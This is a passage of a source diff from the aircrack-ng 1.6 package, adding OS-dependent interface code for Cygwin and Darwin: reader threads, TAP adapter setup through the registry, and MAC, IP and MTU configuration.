+int cygwin_read_reader(int fd, int plen, void * dst, int len)
+{
+	/* packet */
+	if (len > plen) len = plen;
+	if (net_read_exact(fd, dst, len) == -1) return -1;
+	plen -= len;
+
+	/* consume packet */
+	while (plen)
+	{
+		char lame[1024];
+		int rd = sizeof(lame);
+
+		if (rd > plen) rd = plen;
+
+		if (net_read_exact(fd, lame, rd) == -1) return -1;
+
+		plen -= rd;
+
+		assert(plen >= 0);
+	}
+
+	return len;
+}
+
+static int cygwin_read(struct wif * wi,
+					   struct timespec * ts,
+					   int * dlt,
+					   unsigned char * h80211,
+					   int len,
+					   struct rx_info * ri)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+	struct rx_info tmp;
+	int plen;
+
+	(void) ts;
+	(void) dlt;
+
+	if (pc->pc_running == -1) return -1;
+
+	if (!ri) ri = &tmp;
+
+	/* length */
+	if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
+
+	/* ri */
+	if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1;
+	plen -= sizeof(*ri);
+	assert(plen > 0);
+
+	return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len);
+}
+
+/**
+ * Free allocated data
+ */
+static void do_free(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+	int tries = 3;
+
+	/* wait for reader */
+	if (pc->pc_running == 1)
+	{
+		pc->pc_running = 0;
+
+		while ((pc->pc_running != -1) && tries--) sleep(1);
+	}
+
+	if (pc->pc_pipe[0])
+	{
+		close(pc->pc_pipe[0]);
+		close(pc->pc_pipe[1]);
+	}
+
+	if (pc->pc_did_init) pc->pc_close();
+
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+
+	free(wi);
+}
+
+/**
+ * Close the device and free data
+ */
+static void cygwin_close(struct wif * wi) { do_free(wi); }
+
+/**
+ * Get the file descriptor for the device
+ */
+static int cygwin_fd(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	if (pc->pc_running == -1) return -1;
+
+	return pc->pc_pipe[0];
+}
+
+/**
+ * Get MAC Address of the device
+ * @param mac It will contain the mac address
+ * @return 0 if successful
+ */
+static int cygwin_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_get_mac(mac);
+}
+/**
+ * Set MAC Address of the device
+ * @param mac MAC Address
+ * @return 0 if successful
+ */
+static int cygwin_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_set_mac(mac);
+}
+
+static int cygwin_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	return 0;
+}
+
+static int cygwin_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	return 1000000;
+}
+
+/**
+ * Set (injection) rate of the device
+ * @param rate Rate to be used
+ * @return 0 (successful)
+ */
+static int cygwin_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	return 0;
+}
+
+static void * cygwin_reader(void * arg)
+{
+	struct priv_cygwin * priv = arg;
+	unsigned char buf[2048];
+	int len;
+	struct rx_info ri;
+
+	while (priv->pc_running)
+	{
+		/* read one packet */
+
+		/* a potential problem: the cygwin_read_packet will never return
+		 * if there no packet sniffered, so the thread cannot be closed
+		 * correctly.
+		 */
+		len = cygwin_read_packet(priv, buf, sizeof(buf), &ri);
+		if (len == -1) break;
+
+		/* len */
+		len += sizeof(ri);
+		if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
+		len -= sizeof(ri);
+
+		/* ri */
+		if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break;
+
+		/* packet */
+		if (write(priv->pc_pipe[1], buf, len) != len) break;
+	}
+
+	priv->pc_running = -1;
+	return NULL;
+}
+
+static struct wif * cygwin_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_cygwin * priv;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*priv));
+	if (!wi) return NULL;
+	wi->wi_read = cygwin_read;
+	wi->wi_write = cygwin_write;
+	wi->wi_set_channel = cygwin_set_channel;
+	wi->wi_get_channel = cygwin_get_channel;
+	wi->wi_set_freq = cygwin_set_freq;
+	wi->wi_get_freq = cygwin_get_freq;
+	wi->wi_close = cygwin_close;
+	wi->wi_fd = cygwin_fd;
+	wi->wi_get_mac = cygwin_get_mac;
+	wi->wi_set_mac = cygwin_set_mac;
+	wi->wi_get_rate = cygwin_get_rate;
+	wi->wi_set_rate = cygwin_set_rate;
+	wi->wi_get_monitor = cygwin_get_monitor;
+
+	/* setup iface */
+	if (do_cygwin_open(wi, iface) == -1) goto err;
+
+	/* setup private state */
+	priv = wi_priv(wi);
+	priv->pc_wi = wi;
+
+	/* setup reader */
+	if (pipe(priv->pc_pipe) == -1) goto err;
+	priv->pc_running = 2;
+	if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err;
+	priv->pc_running = 1;
+
+	return wi;
+
+err:
+	do_free(wi);
+	return NULL;
+}
+
+struct wif * wi_open_osdep(char * iface) { return cygwin_open(iface); }
+
+/**
+ * Return remaining battery time in seconds.
+ * @return Battery time in seconds or 0 if no battery (or connected to power)
+ */
+EXPORT int get_battery_state(void)
+{
+	SYSTEM_POWER_STATUS powerStatus;
+	int batteryTime = 0;
+
+	if (GetSystemPowerStatus(&powerStatus) == TRUE)
+	{
+
+		if (powerStatus.ACLineStatus == 0)
+			batteryTime = (int) powerStatus.BatteryLifeTime;
+	}
+	return batteryTime;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/cygwin.h Changed

aircrack-ng-1.6.tar.gz/lib/osdep/cygwin_tap.c Added

@@ -0,0 +1,649 @@
+/*
+   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+   *
+   *  OS dependent API for cygwin. TAP routines
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <assert.h>
+
+#include "osdep.h"
+
+#include <windows.h>
+#include <winioctl.h>
+#include <ipexport.h>
+#include <iptypes.h>
+#include <initguid.h>
+#include <devguid.h>
+#include <setupapi.h>
+
+#include "network.h"
+#include "tap-win32/common.h"
+
+extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,
+									PULONG pOutBufLen);
+extern DWORD WINAPI AddIPAddress(IPAddr Address,
+								 IPMask IpMask,
+								 DWORD IfIndex,
+								 PULONG NTEContext,
+								 PULONG NTEInstance);
+extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext);
+
+extern int cygwin_read_reader(int fd, int plen, void * dst, int len);
+static void * ti_reader(void * arg);
+
+struct tip_cygwin
+{
+	char tc_name[MAX_IFACE_NAME];
+	HANDLE tc_h;
+	pthread_t tc_reader;
+	volatile int tc_running;
+	int tc_pipe[2]; /* reader -> parent */
+	pthread_mutex_t tc_mtx;
+	HKEY tc_key;
+	char tc_guid[256];
+};
+
+/**
+ * Stop the reader thread (if it is running)
+ * @return 0 if stopped or -1 if it failed to stop it
+ */
+static int stop_reader(struct tip_cygwin * priv)
+{
+	if (priv->tc_running == 1)
+	{
+		int tries = 3;
+
+		priv->tc_running = 0;
+		while ((priv->tc_running != -1) && tries--) sleep(1);
+
+		if (tries <= 0) return -1;
+	}
+
+	return 0;
+}
+
+/**
+ * Start reader thread
+ * @return -1 if failed to start thread or 0 if it is successful
+ */
+static int start_reader(struct tip_cygwin * priv)
+{
+	priv->tc_running = 2;
+	if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1;
+
+	priv->tc_running = 1;
+
+	return 0;
+}
+
+/**
+ * Change status (enable/disable) of the device
+ */
+static int ti_media_status(struct tip_cygwin * priv, int on)
+{
+	ULONG s = on;
+	DWORD len;
+
+	if (!DeviceIoControl(priv->tc_h,
+						 TAP_IOCTL_SET_MEDIA_STATUS,
+						 &s,
+						 sizeof(s),
+						 &s,
+						 sizeof(s),
+						 &len,
+						 NULL))
+		return -1;
+
+	return 0;
+}
+
+/**
+ * Try opening device
+ */
+static int ti_try_open(struct tip_cygwin * priv, char * guid)
+{
+	int any = priv->tc_guid[0] == 0;
+	char device[256];
+	HANDLE h;
+
+	if (!any && strcmp(priv->tc_guid, guid) != 0) return 0;
+
+	/* open the device */
+	snprintf(
+		device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX);
+	h = CreateFile(device,
+				   GENERIC_READ | GENERIC_WRITE,
+				   0,
+				   0,
+				   OPEN_EXISTING,
+				   FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED,
+				   0);
+	if (h == INVALID_HANDLE_VALUE)
+	{
+		if (any)
+			return 0;
+		else
+			return -1;
+	}
+	priv->tc_h = h;
+
+	/* XXX check tap version */
+
+	/* bring iface up */
+	if (ti_media_status(priv, 1) == -1) return -1;
+
+	/* XXX grab printable name */
+	snprintf(priv->tc_name, sizeof(priv->tc_name) - 1, "%s", guid);
+
+	if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
+
+	return 1;
+}
+
+/**
+ * Read registry value
+ * @param key Registry key
+ * @return 0 if successful, -1 if it failed
+ */
+static int
+ti_read_reg(struct tip_cygwin * priv, char * key, char * res, int len)
+{
+	DWORD dt, l = len;
+
+	if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char *) res, &l)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (dt != REG_SZ) return -1;
+
+	if ((int) l > len) return -1;
+
+	return 0;
+}
+
+static int ti_get_devs_component(struct tip_cygwin * priv, char * name)
+{
+	char key[256];
+	int rc = 0;
+
+	snprintf(key, sizeof(key) - 1, "%s\\%s", ADAPTER_KEY, name);
+	if (RegOpenKeyEx(
+			HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out;
+
+	/* make sure component id matches */
+	if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out;
+
+	/* get guid */
+	if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out;
+
+	rc = ti_try_open(priv, key);
+
+out:
+	if (rc != 1)
+	{
+		RegCloseKey(priv->tc_key);
+		priv->tc_key = 0;
+	}
+
+	return rc;
+}
+
+static int ti_do_open_cygwin(struct tip_cygwin * priv)
+{
+	int rc = -1;
+	HKEY ak47;
+	int i;
+	char name[256];
+	DWORD len;
+
+	/* open network driver key */
+	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	/* find tap */
+	for (i = 0;; i++)
+	{
+		len = sizeof(name);
+		if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
+			!= ERROR_SUCCESS)
+			break;
+
+		rc = ti_get_devs_component(priv, name);
+		if (rc) break;
+		rc = -1;
+	}
+
+	RegCloseKey(ak47);
+
+	if (rc == 1) rc = 0;
+
+	return rc;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	/* stop reader */
+	stop_reader(priv);
+
+	if (priv->tc_pipe[0])
+	{
+		close(priv->tc_pipe[0]);
+		close(priv->tc_pipe[1]);
+	}
+
+	/* close card */
+	if (priv->tc_h)
+	{
+		ti_media_status(priv, 0);
+		CloseHandle(priv->tc_h);
+	}
+
+	if (priv->tc_key) RegCloseKey(priv->tc_key);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_close_cygwin(struct tif * ti) { ti_do_free(ti); }
+
+static char * ti_name_cygwin(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	return priv->tc_name;
+}
+
+/* XXX */
+static int
+ti_is_us(struct tip_cygwin * priv, HDEVINFO * hdi, SP_DEVINFO_DATA * did)
+{
+	char buf[256];
+	DWORD len = sizeof(buf), dt;
+
+	if (priv)
+	{
+	} /* XXX unused */
+
+	if (!SetupDiGetDeviceRegistryProperty(
+			*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char *) buf, len, &len))
+		return 0;
+
+	if (dt != REG_SZ) return 0;
+
+	return strstr(buf, "TAP-Win32") != NULL;
+}
+
+static int ti_reset_state(HDEVINFO * hdi, SP_DEVINFO_DATA * did, DWORD state)
+{
+	SP_PROPCHANGE_PARAMS parm;
+
+	parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
+	parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
+	parm.Scope = DICS_FLAG_GLOBAL;
+	parm.StateChange = state;
+
+	if (!SetupDiSetClassInstallParams(
+			*hdi, did, (SP_CLASSINSTALL_HEADER *) &parm, sizeof(parm)))
+		return -1;
+
+	if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1;
+
+	return 0;
+}
+
+/**
+ * Reset the device
+ * @return 0 if successful, -1 if it failed
+ */
+static int ti_do_reset(HDEVINFO * hdi, SP_DEVINFO_DATA * did)
+{
+	int rc;
+
+	rc = ti_reset_state(hdi, did, DICS_DISABLE);
+	if (rc) return rc;
+
+	return ti_reset_state(hdi, did, DICS_ENABLE);
+}
+
+static int ti_restart(struct tip_cygwin * priv)
+{
+	/* kill handle to if */
+	if (priv->tc_h) CloseHandle(priv->tc_h);
+
+	/* stop reader */
+	if (stop_reader(priv)) return -1;
+
+	/* reopen dev */
+	if (ti_do_open_cygwin(priv)) return -1;
+
+	return start_reader(priv);
+}
+
+static int ti_reset(struct tip_cygwin * priv)
+{
+	HDEVINFO hdi;
+	SP_DEVINFO_DATA did;
+	int i;
+	int rc = -1;
+
+	hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT);
+	if (hdi == INVALID_HANDLE_VALUE) return -1;
+
+	/* find device */
+	for (i = 0;; i++)
+	{
+		did.cbSize = sizeof(did);
+		if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break;
+
+		if (!ti_is_us(priv, &hdi, &did)) continue;
+
+		rc = ti_do_reset(&hdi, &did);
+		if (rc) break;
+
+		rc = ti_restart(priv);
+		break;
+	}
+
+	SetupDiDestroyDeviceInfoList(hdi);
+
+	return rc;
+}
+
+static int ti_set_mtu_cygwin(struct tif * ti, int mtu)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	char m[16];
+	char mold[sizeof(m)];
+	char * key = "MTU";
+
+	/* check if reg remains unchanged to avoid reset */
+	snprintf(m, sizeof(m) - 1, "%d", mtu);
+	if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1)
+	{
+		if (strcmp(m, mold) == 0) return 0;
+	}
+
+	/* change */
+	if (RegSetValueEx(
+			priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m) + 1)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_reset(priv) == -1) return -1;
+
+	return 0;
+}
+
+/**
+ * Set device MAC address
+ * @param mac New MAC address
+ * @return -1 if it failed, 0 on success
+ */
+static int ti_set_mac_cygwin(struct tif * ti, unsigned char * mac)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	char str[2 * 6 + 1];
+	char strold[sizeof(str)];
+	int i;
+	char * key = "MAC";
+
+	/* convert */
+	str[0] = 0;
+	for (i = 0; i < 6; i++)
+	{
+		char tmp[3];
+
+		if (sprintf(tmp, "%.2X", *mac++) != 2) return -1;
+		strcat(str, tmp);
+	}
+
+	/* check if changed */
+	if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1)
+	{
+		if (strcmp(str, strold) == 0) return 0;
+	}
+
+	/* own */
+	if (RegSetValueEx(priv->tc_key,
+					  key,
+					  0,
+					  REG_SZ,
+					  (unsigned char *) str,
+					  strlen(str) + 1)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_reset(priv) == -1) return -1;
+
+	return 0;
+}
+
+/**
+ * Set device IP address
+ * @param ip New IP address
+ * @return -1 if it failed, 0 on success
+ */
+static int ti_set_ip_cygwin(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	ULONG ctx, inst;
+	IP_ADAPTER_INFO ai[16];
+	DWORD len = sizeof(ai);
+	PIP_ADAPTER_INFO p;
+	PIP_ADDR_STRING ips;
+
+	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1;
+
+	p = ai;
+	while (p)
+	{
+		if (strcmp(priv->tc_guid, p->AdapterName) != 0)
+		{
+			p = p->Next;
+			continue;
+		}
+
+		/* delete ips */
+		ips = &p->IpAddressList;
+		while (ips)
+		{
+			DeleteIPAddress(ips->Context);
+			ips = ips->Next;
+		}
+
+		/* add ip */
+		if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst)
+			!= NO_ERROR)
+			return -1;
+
+		break;
+	}
+
+	return 0;
+}
+
+static int ti_fd_cygwin(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	return priv->tc_pipe[0];
+}
+
+static int ti_read_cygwin(struct tif * ti, void * buf, int len)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	int plen;
+
+	if (priv->tc_running != 1) return -1;
+
+	/* read len */
+	if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
+
+	return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len);
+}
+
+static int ti_wait_complete(struct tip_cygwin * priv, OVERLAPPED * o)
+{
+	DWORD sz;
+
+	if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1;
+
+	return sz;
+}
+
+static int
+ti_do_io(struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
+{
+	BOOL rc;
+	DWORD sz;
+	int err;
+
+	/* setup overlapped */
+	memset(o, 0, sizeof(*o));
+
+	/* do io */
+	if (wr)
+		rc = WriteFile(priv->tc_h, buf, len, &sz, o);
+	else
+		rc = ReadFile(priv->tc_h, buf, len, &sz, o);
+
+	/* done */
+	if (rc) return sz;
+
+	if ((err = GetLastError()) != ERROR_IO_PENDING) return -1;
+
+	return 0; /* pending */
+}
+
+static int ti_do_io_lock(
+	struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
+{
+	int rc;
+
+	if (pthread_mutex_lock(&priv->tc_mtx)) return -1;
+
+	rc = ti_do_io(priv, buf, len, o, wr);
+
+	if (pthread_mutex_unlock(&priv->tc_mtx)) return -1;
+
+	/* done */
+	if (rc) return rc;
+
+	return ti_wait_complete(priv, o);
+}
+
+static int ti_write_cygwin(struct tif * ti, void * buf, int len)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	OVERLAPPED o;
+
+	return ti_do_io_lock(priv, buf, len, &o, 1);
+}
+
+static int ti_read_packet(struct tip_cygwin * priv, void * buf, int len)
+{
+	OVERLAPPED o;
+	int rc;
+
+	while (priv->tc_running)
+	{
+		rc = ti_do_io_lock(priv, buf, len, &o, 0);
+		if (rc) return rc;
+	}
+
+	return -1;
+}
+
+static void * ti_reader(void * arg)
+{
+	struct tip_cygwin * priv = arg;
+	unsigned char buf[2048];
+	int len;
+
+	while (priv->tc_running)
+	{
+		/* read a packet */
+		if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break;
+
+		assert(len > 0);
+
+		/* write it's length */
+		if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
+
+		/* write payload */
+		if (write(priv->tc_pipe[1], buf, len) != len) break;
+	}
+
+	priv->tc_running = -1;
+
+	return NULL;
+}
+
+static struct tif * ti_open_cygwin(char * iface)
+{
+	struct tif * ti;
+	struct tip_cygwin * priv;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	priv = ti_priv(ti);
+
+	ti->ti_name = ti_name_cygwin;
+	ti->ti_set_mtu = ti_set_mtu_cygwin;
+	ti->ti_close = ti_close_cygwin;
+	ti->ti_fd = ti_fd_cygwin;
+	ti->ti_read = ti_read_cygwin;
+	ti->ti_write = ti_write_cygwin;
+	ti->ti_set_mac = ti_set_mac_cygwin;
+	ti->ti_set_ip = ti_set_ip_cygwin;
+
+	/* setup iface */
+	if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
+	if (ti_do_open_cygwin(priv) == -1) goto err;
+
+	/* setup reader */
+	if (pipe(priv->tc_pipe) == -1) goto err;
+
+	if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err;
+
+	/* launch reader */
+	if (start_reader(priv)) goto err;
+
+	return ti;
+err:
+	ti_do_free(ti);
+	return NULL;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_cygwin(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/darwin.c Added

@@ -0,0 +1,51 @@
+/*
+  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
+  *  freebsd.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Darwin.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <errno.h>
+#include <stdio.h>
+
+#include "osdep.h"
+
+struct wif * wi_open_osdep(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	errno = EOPNOTSUPP;
+	return NULL;
+}
+
+EXPORT int get_battery_state(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}
+
+int create_tap(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/darwin_tap.c Added

@@ -0,0 +1,243 @@
+/*
+  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
+  *  freebsd_tap.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Darwin. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+#define MAX_TAP_DEVS 16
+
+struct tip_darwin
+{
+	int tf_fd;
+	int tf_ioctls;
+	struct ifreq tf_ifr;
+	char tf_name[MAX_IFACE_NAME];
+	int tf_destroy;
+};
+
+static int ti_do_open_darwin(struct tif * ti, char * name)
+{
+	int fd = -1;
+	char iface[12];
+	struct stat st;
+	struct tip_darwin * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+	int i;
+
+	/* open tap */
+	if (name)
+	{
+		fd = open(name, O_RDWR);
+	}
+	else
+	{
+		priv->tf_destroy = 1; /* we create, we destroy */
+
+		for (i = 0; i < MAX_TAP_DEVS; i++)
+		{
+			snprintf(iface, sizeof(iface), "/dev/tap%d", i);
+			fd = open(iface, O_RDWR);
+
+			if (fd != -1)
+			{
+				break;
+			}
+		}
+	}
+
+	if (fd == -1)
+	{
+		return -1;
+	}
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tf_name,
+			 sizeof(priv->tf_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tf_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tf_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = (ifr->ifr_flags & 0xffff);
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_darwin * priv)
+{
+	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
+}
+
+static void ti_close_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	if (priv->tf_destroy) ti_destroy(priv);
+
+	close(priv->tf_fd);
+	close(priv->tf_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	return priv->tf_name;
+}
+
+static int ti_set_mtu_darwin(struct tif * ti, int mtu)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	priv->tf_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
+}
+
+static int ti_set_mac_darwin(struct tif * ti, unsigned char * mac)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_darwin(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	return priv->tf_fd;
+}
+
+static int ti_read_darwin(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_darwin(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_darwin(char * iface)
+{
+	struct tif * ti;
+	struct tip_darwin * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_darwin;
+	ti->ti_set_mtu = ti_set_mtu_darwin;
+	ti->ti_close = ti_close_darwin;
+	ti->ti_fd = ti_fd_darwin;
+	ti->ti_read = ti_read_darwin;
+	ti->ti_write = ti_write_darwin;
+	ti->ti_set_mac = ti_set_mac_darwin;
+	ti->ti_set_ip = ti_set_ip_darwin;
+
+	/* setup iface */
+	fd = ti_do_open_darwin(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tf_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_darwin(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/dummy.c Added

@@ -0,0 +1,50 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for unsupported APIs.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
